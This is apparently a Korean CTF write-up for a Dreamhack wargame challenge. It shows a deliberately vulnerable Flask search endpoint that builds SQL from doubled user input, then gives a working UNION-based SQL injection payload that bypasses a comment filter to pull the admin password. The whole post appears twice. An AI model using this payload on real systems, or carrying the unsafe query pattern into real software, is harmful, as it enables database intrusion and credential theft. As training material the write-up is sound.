
안녕하십니까 코딩 파인애플입니다
이번에는 22에 관해 풀어보겠습니다.
https://dreamhack.io/wargame/challenges/2680
정말 오랜만인 SQL INJECTION 입니다
![]()
app.py
import os
import re
from flask import Flask, request, session, redirect, url_for, render_template
import mysql.connector
app = Flask(__name__)
app.secret_key = os.getenv("FLASK_SECRET", "**REDACTED**")
COMMENT_RE = re.compile(r"(--|#|/\*|\*/)", re.IGNORECASE)
def reject_sql_comments(s: str) -> bool:
return bool(COMMENT_RE.search(s or ""))
def get_conn():
return mysql.connector.connect(
host=os.getenv("DB_HOST", "127.0.0.1"),
port=int(os.getenv("DB_PORT", "3306")),
user=os.getenv("DB_USER", "user"),
password=os.getenv("DB_PASS", "pass"),
database=os.getenv("DB_NAME", "db"),
autocommit=True,
)
@app.get("/")
def index():
return render_template("index.html", user=session.get("user"))
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "GET":
if session.get("user"):
return redirect(url_for("index"))
return render_template("login.html", error=None)
username = request.form.get("username", "")
password = request.form.get("password", "")
sql = "SELECT id, username FROM users WHERE username = %s AND password = %s LIMIT 1;"
conn = get_conn()
cur = conn.cursor(dictionary=True)
cur.execute(sql, (username, password))
row = cur.fetchone()
cur.close()
conn.close()
if row:
session["user"] = row["username"]
return redirect(url_for("index"))
return render_template("login.html", error="Invalid username/password"), 401
@app.get("/logout")
def logout():
session.clear()
return redirect(url_for("index"))
@app.get("/search")
def search():
q = request.args.get("q", "")
if q == "":
return render_template("search.html", q=q, q2=None, rows=[], error=None)
q2 = q + q
if reject_sql_comments(q):
return render_template("search.html", q=q, q2=q2, rows=[], error="Comment tokens are not allowed."), 200
sql = f"SELECT id, username FROM users WHERE username='{q2}' ORDER BY id ASC;"
conn = get_conn()
cur = conn.cursor(dictionary=True)
try:
cur.execute(sql)
rows = cur.fetchall()
return render_template("search.html", q=q, q2=q2, rows=rows, error=None)
except mysql.connector.Error:
return render_template("search.html", q=q, q2=q2, rows=[], error="DB error occurred."), 200
finally:
cur.close()
conn.close()
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000, debug=False)
init
CREATE DATABASE IF NOT EXISTS db CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
USE db;
DROP TABLE IF EXISTS users;
CREATE TABLE users (
id INT AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(64) NOT NULL UNIQUE,
password VARCHAR(255) NOT NULL
);
#userse 테이블의 username 과 password, 그리고 뭐...잡다한 것들.
INSERT INTO users (username, password) VALUES
('alicealice', 'alicepw'),
('bobbob', 'bobpw'),
('guestguest', 'guestpw'),
('adminadmin', 'DH{FAKE_FLAG}');
핵심 코드 두 개가 주어집니다
뭐, 일단은 adminadmin으로 로그인하는 게 목표인 것 같습니다
일반 회원은 (alicealice, alipw), (bobbob,bobpw), (guestguest, guestpw) 가 있는 것 또한 알 수 있습니다
아무튼, 코드를 분석해서 취약점을 찾아봅시다
@app.get("/search")
def search():
q = request.args.get("q", "")
if q == "":
return render_template("search.html", q=q, q2=None, rows=[], error=None)
q2 = q + q
# ㄴ코드 콩진호의 원인
if reject_sql_comments(q):
return render_template("search.html", q=q, q2=q2, rows=[], error="Comment tokens are not allowed."), 200
sql = f"SELECT id, username FROM users WHERE username='{q2}' ORDER BY id ASC;"
# ㄴ여기서 ㄱㄱ
conn = get_conn()
cur = conn.cursor(dictionary=True)
try:
cur.execute(sql)
rows = cur.fetchall()
return render_template("search.html", q=q, q2=q2, rows=rows, error=None)
except mysql.connector.Error:
return render_template("search.html", q=q, q2=q2, rows=[], error="DB error occurred."), 200
finally:
cur.close()
conn.close()
위 코드에서 /search가 사용자가 입력한 문자열을 쿼리에 넣어서 실행 결과를 보여줍니다
헌데 보여주는 결과물이 항상 복제되어, 주석 기능을 이용할 수 없습니다헌데 보여주는 결과물이 항상 복제되어, 주석 기능을 이용할 수 없습니다
그렇다면 어떻게 해야하냐, union문을 이어붙어 공격이 가능한 페이로드를 짜야합니다
asdf' union select username,password from users where username='adminadmin' union select 1,'
이렇게 다음과 같은 페이로드를 짜면 union구문의 연계로 인해 코드가 정상 작동이 됩니다
SELECT id, username FROM users WHERE username=' asdf' union select username,password from users where username='adminadmin' union select 1,'asdf' union select username,password from users where username='adminadmin' union select 1,' ' ORDER BY id ASC; # 기묘하다
flag : DH{Here_Is_FLAG!_Here_Is_FLAG!}
평가 : sql injection 풀이하기 '재밌는' 문제

안녕하십니까 코딩 파인애플입니다
이번에는 22에 관해 풀어보겠습니다.
https://dreamhack.io/wargame/challenges/2680
정말 오랜만인 SQL INJECTION 입니다
![]()
app.py
import os
import re
from flask import Flask, request, session, redirect, url_for, render_template
import mysql.connector
app = Flask(__name__)
app.secret_key = os.getenv("FLASK_SECRET", "**REDACTED**")
COMMENT_RE = re.compile(r"(--|#|/\*|\*/)", re.IGNORECASE)
def reject_sql_comments(s: str) -> bool:
return bool(COMMENT_RE.search(s or ""))
def get_conn():
return mysql.connector.connect(
host=os.getenv("DB_HOST", "127.0.0.1"),
port=int(os.getenv("DB_PORT", "3306")),
user=os.getenv("DB_USER", "user"),
password=os.getenv("DB_PASS", "pass"),
database=os.getenv("DB_NAME", "db"),
autocommit=True,
)
@app.get("/")
def index():
return render_template("index.html", user=session.get("user"))
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "GET":
if session.get("user"):
return redirect(url_for("index"))
return render_template("login.html", error=None)
username = request.form.get("username", "")
password = request.form.get("password", "")
sql = "SELECT id, username FROM users WHERE username = %s AND password = %s LIMIT 1;"
conn = get_conn()
cur = conn.cursor(dictionary=True)
cur.execute(sql, (username, password))
row = cur.fetchone()
cur.close()
conn.close()
if row:
session["user"] = row["username"]
return redirect(url_for("index"))
return render_template("login.html", error="Invalid username/password"), 401
@app.get("/logout")
def logout():
session.clear()
return redirect(url_for("index"))
@app.get("/search")
def search():
q = request.args.get("q", "")
if q == "":
return render_template("search.html", q=q, q2=None, rows=[], error=None)
q2 = q + q
if reject_sql_comments(q):
return render_template("search.html", q=q, q2=q2, rows=[], error="Comment tokens are not allowed."), 200
sql = f"SELECT id, username FROM users WHERE username='{q2}' ORDER BY id ASC;"
conn = get_conn()
cur = conn.cursor(dictionary=True)
try:
cur.execute(sql)
rows = cur.fetchall()
return render_template("search.html", q=q, q2=q2, rows=rows, error=None)
except mysql.connector.Error:
return render_template("search.html", q=q, q2=q2, rows=[], error="DB error occurred."), 200
finally:
cur.close()
conn.close()
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000, debug=False)
init
CREATE DATABASE IF NOT EXISTS db CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
USE db;
DROP TABLE IF EXISTS users;
CREATE TABLE users (
id INT AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(64) NOT NULL UNIQUE,
password VARCHAR(255) NOT NULL
);
#userse 테이블의 username 과 password, 그리고 뭐...잡다한 것들.
INSERT INTO users (username, password) VALUES
('alicealice', 'alicepw'),
('bobbob', 'bobpw'),
('guestguest', 'guestpw'),
('adminadmin', 'DH{FAKE_FLAG}');
핵심 코드 두 개가 주어집니다
뭐, 일단은 adminadmin으로 로그인하는 게 목표인 것 같습니다
일반 회원은 (alicealice, alipw), (bobbob,bobpw), (guestguest, guestpw) 가 있는 것 또한 알 수 있습니다
아무튼, 코드를 분석해서 취약점을 찾아봅시다
@app.get("/search")
def search():
q = request.args.get("q", "")
if q == "":
return render_template("search.html", q=q, q2=None, rows=[], error=None)
q2 = q + q
# ㄴ코드 콩진호의 원인
if reject_sql_comments(q):
return render_template("search.html", q=q, q2=q2, rows=[], error="Comment tokens are not allowed."), 200
sql = f"SELECT id, username FROM users WHERE username='{q2}' ORDER BY id ASC;"
# ㄴ여기서 ㄱㄱ
conn = get_conn()
cur = conn.cursor(dictionary=True)
try:
cur.execute(sql)
rows = cur.fetchall()
return render_template("search.html", q=q, q2=q2, rows=rows, error=None)
except mysql.connector.Error:
return render_template("search.html", q=q, q2=q2, rows=[], error="DB error occurred."), 200
finally:
cur.close()
conn.close()
위 코드에서 /search가 사용자가 입력한 문자열을 쿼리에 넣어서 실행 결과를 보여줍니다
헌데 보여주는 결과물이 항상 복제되어, 주석 기능을 이용할 수 없습니다헌데 보여주는 결과물이 항상 복제되어, 주석 기능을 이용할 수 없습니다
그렇다면 어떻게 해야하냐, union문을 이어붙어 공격이 가능한 페이로드를 짜야합니다
asdf' union select username,password from users where username='adminadmin' union select 1,'
이렇게 다음과 같은 페이로드를 짜면 union구문의 연계로 인해 코드가 정상 작동이 됩니다
SELECT id, username FROM users WHERE username=' asdf' union select username,password from users where username='adminadmin' union select 1,'asdf' union select username,password from users where username='adminadmin' union select 1,' ' ORDER BY id ASC; # 기묘하다
flag : DH{Here_Is_FLAG!_Here_Is_FLAG!}
평가 : sql injection 풀이하기 '재밌는' 문제
